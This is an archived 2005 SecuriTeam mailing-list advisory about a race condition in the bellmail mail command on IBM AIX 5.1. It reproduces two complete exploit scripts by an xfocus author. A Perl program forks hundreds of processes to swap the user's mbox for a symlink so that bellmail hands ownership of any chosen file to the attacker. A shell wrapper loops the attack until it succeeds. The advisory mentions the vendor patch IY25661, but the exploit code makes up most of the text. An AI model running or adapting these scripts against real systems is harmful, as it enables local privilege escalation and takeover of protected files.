[EXPL] Bellmail Race Condition Vulnerability (Exploits)

From: SecuriTeam (support_at_securiteam.com)
Date: 05/19/05

  • Next message: SecuriTeam: "[EXPL] Invision Power Board SQL Injection Vulnerability (member_id, Exploit)"
    To: list@securiteam.com
    Date: 19 May 2005 16:38:04 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Bellmail Race Condition Vulnerability (Exploits)
    ------------------------------------------------------------------------

    SUMMARY

    Bellmail "is the original AT&T UNIX mail command, which handles mail for
    users on the same system and also for users on remote systems that can be
    accessed by means of Basic Network Utilities (BNU), sometimes known as the
    UNIX-to-UNIX Copy Program (UUCP). "

    A race condition vulnerability was found at Bellmail command that allow
    attackers to run a shell as root.

    DETAILS

    Vulnerable Systems:
     * IBM AIX version 5.1

    Vendor Status:
    The vendor has released a patch to fix the vulnerability named IY25661.

    Exploit 1:
    #!/usr/bin/perl
    # FileName: x_aix5_bellmail.pl
    # Exploit "Race condition vulnerability (BUGTRAQ ID: 8805)" of
    /usr/bin/bellmail
    # command on Aix5 to change any file owner to current user.
    #
    #Usage : x_aix5_bellmail.pl aim_file
    # aim_file : then file wich you want to chown to you.
    # Note : Maybe you should run more than one to "Race condition".
    # The file named "x_bell.sh" can help you to use this exp.
    # You should type "w" "Enter" then "q" "Enter" key on keyboard
    # as fast as you can when bellmail prompt "?" appear.
    #
    # Author : watercloud@xfocus.org
    # XFOCUS Team
    # http://www.xfocus.net (CN)
    # http://www.xfocus.org (EN)
    # http://xcon.xfocus.org (XCon's Home)
    #
    # Date : 2004-6-6
    # Tested : on Aix5.1.
    # Addition: IBM had offered a patch named "IY25661" for it.
    # Announce: use as your owner risk!

    $CMD="/usr/bin/bellmail";
    $MBOX="$ENV{HOME}/mbox";
    $TMPFILE="/tmp/.xbellm.tmp";

    $AIM_FILE = shift @ARGV ;
    $FORK_NUM = 1000;

    die "AIM FILE \"$AIM_FILE\" not exist.\n" if ! -e $AIM_FILE;

    unlink $MBOX;
    system "echo abc > $TMPFILE";
    system "$CMD $ENV{LOGIN} < $TMPFILE";
    unlink $TMPFILE;

    $ret=`ls -l $AIM_FILE"`;
    print "Before: $ret";

    if( fork()==0 )
    {
            &deamon($FORK_NUM);
            exit 0 ;
    }
    sleep( (rand()*100)%4);
    exec $CMD;

    $ret=`ls -l $AIM_FILE"`;
    print "Now: $ret";

    sub deamon {
            $num = shift || 1;
            for($i=0;$i<$num;$i++) {
                    &do_real() if fork()==0;
            }
    }
    sub do_real {
            if(-e $MBOX) {
                    unlink $MBOX ;
                    symlink "$AIM_FILE",$MBOX;
            }
            exit 0;
    }
    #EOF

    Exploit 2:
    #!/bin/sh
    #File:x_bellmail.sh
    #The assistant of x_aix5_bellmail.pl
    #Author : watercloud@xfocus.org
    #Date :2004-6-6
    #

    X_BELL_PL="./x_aix5_bellmail.pl"
    AIM=$1

    if [ $# ne 1 ] ;then
            echo "Need a aim file name as argv."
            exit 1;
    fi

    if [ ! -e "$1" ];then
            echo "$1 not exist!"
            exit 1
    fi
    if [ ! -x "$X_BELL_PL" ];then
            echo "can not exec $X_BELL_PL"
            exit 1
    fi

    ret=`ls -l $AIM`
    echo $ret; echo
    fuser=`echo $ret |awk '{print $3}'`
    while [ "$fuser" != "$LOGIN" ]
    do
            $X_BELL_PL $AIM
            ret=`ls -l $AIM`
            echo $ret;echo
            fuser=`echo $ret |awk '{print $3}'`
    done
    echo $ret; echo
    #EOF

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:watercloud@xfocus.org>
    watercloud.
    The original exploits can be found at:
    <http://www.xfocus.org/exploits/200505/36.html>
    http://www.xfocus.org/exploits/200505/36.html

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] Invision Power Board SQL Injection Vulnerability (member_id, Exploit)"

    Relevant Pages

    • [UNIX] Bacula Insecure Temporary File Creation and Information Disclosure
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... allow attackers to cause symbolic link attacks to create arbitrary files ... 17 echo "quit">>$tmp ... They are 2 vulnerabilities, symlink attack and password ...
      (Securiteam)
    • [EXPL] ATutor links Blind SQL Injection / Admin Credentials Disclosure
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... vulnerability in ATutor allows remote attackers to inject arbitrary SQL ... echo "site: http://retrogod.altervista.org\n";; ... Other queries may be vulnerable to this kind of injection, ...
      (Securiteam)
    • [EXPL] Claroline Remote Code Execution (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Claroline Remote Code Execution ... echo "by rgod rgod at autistici.org\r\n"; ...
      (Securiteam)
    • [EXPL] myBlogger trackback SQL Injection
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A vulnerability in myBloggie allows remote attackers ... echo "administrative credentials disclosure exploit\n"; ... echo 'No response from '.$host.':'.$port; die; ...
      (Securiteam)
    • [EXPL] Lotus Domino Webmail Password Hash Dumper (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Lotus Domino WebMail, with "Generate HTML for all fields" enabled stores ...
      (Securiteam)